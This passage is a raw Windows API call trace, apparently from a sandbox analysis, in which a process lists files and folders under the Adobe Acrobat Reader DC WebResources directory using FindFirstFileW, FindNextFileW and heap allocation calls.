lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\pl-pl\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.431] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.431] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.431] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x179b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.432] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x179b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.432] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.432] GetProcessHeap () returned 0xc10000 [0259.432] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.432] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.432] GetProcessHeap () returned 0xc10000 [0259.432] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\pt-br\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.642] GetProcessHeap () returned 0xc10000 [0259.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.642] GetProcessHeap () returned 0xc10000 [0259.642] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\ru-ru\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.645] GetProcessHeap () returned 0xc10000 [0259.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.645] GetProcessHeap () returned 0xc10000 [0259.645] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\sv-se\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.645] GetProcessHeap () returned 0xc10000 [0259.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.645] GetProcessHeap () returned 0xc10000 [0259.645] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\tr-tr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.647] GetProcessHeap () returned 0xc10000 [0259.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.647] GetProcessHeap () returned 0xc10000 [0259.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\zh-cn\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.648] GetProcessHeap () returned 0xc10000 [0259.648] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.648] GetProcessHeap () returned 0xc10000 [0259.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\zh-tw\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0259.649] GetProcessHeap () returned 0xc10000 [0259.649] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.649] GetProcessHeap () returned 0xc10000 [0259.649] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.652] GetProcessHeap () returned 0xc10000 [0259.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0259.654] GetProcessHeap () returned 0xc10000 [0259.654] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.654] GetProcessHeap () returned 0xc10000 [0259.654] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0259.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.655] GetProcessHeap () returned 0xc10000 [0259.655] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0259.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.658] GetProcessHeap () returned 0xc10000 [0259.658] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.660] GetProcessHeap () returned 0xc10000 [0259.660] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.660] GetProcessHeap () returned 0xc10000 [0259.660] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.661] GetProcessHeap () returned 0xc10000 [0259.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.661] GetProcessHeap () returned 0xc10000 [0259.661] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.662] GetProcessHeap () returned 0xc10000 [0259.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.662] GetProcessHeap () returned 0xc10000 [0259.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.662] GetProcessHeap () returned 0xc10000 [0259.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.662] GetProcessHeap () returned 0xc10000 [0259.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.664] GetProcessHeap () returned 0xc10000 [0259.664] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.664] GetProcessHeap () returned 0xc10000 [0259.664] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.665] GetProcessHeap () returned 0xc10000 [0259.665] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.665] GetProcessHeap () returned 0xc10000 [0259.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.666] GetProcessHeap () returned 0xc10000 [0259.666] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.666] GetProcessHeap () returned 0xc10000 [0259.666] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.667] GetProcessHeap () returned 0xc10000 [0259.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.667] GetProcessHeap () returned 0xc10000 [0259.667] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0259.668] GetProcessHeap () returned 0xc10000 [0259.668] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.668] GetProcessHeap () returned 0xc10000 [0259.668] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.668] GetProcessHeap () returned 0xc10000 [0259.669] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.669] GetProcessHeap () returned 0xc10000 [0259.669] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0259.670] GetProcessHeap () returned 0xc10000 [0259.670] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.670] GetProcessHeap () returned 0xc10000 [0259.670] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.671] GetProcessHeap () returned 0xc10000 [0259.671] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.671] GetProcessHeap () returned 0xc10000 [0259.671] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.672] GetProcessHeap () returned 0xc10000 [0259.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.672] GetProcessHeap () returned 0xc10000 [0259.672] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.673] GetProcessHeap () returned 0xc10000 [0259.673] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.673] GetProcessHeap () returned 0xc10000 [0259.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader 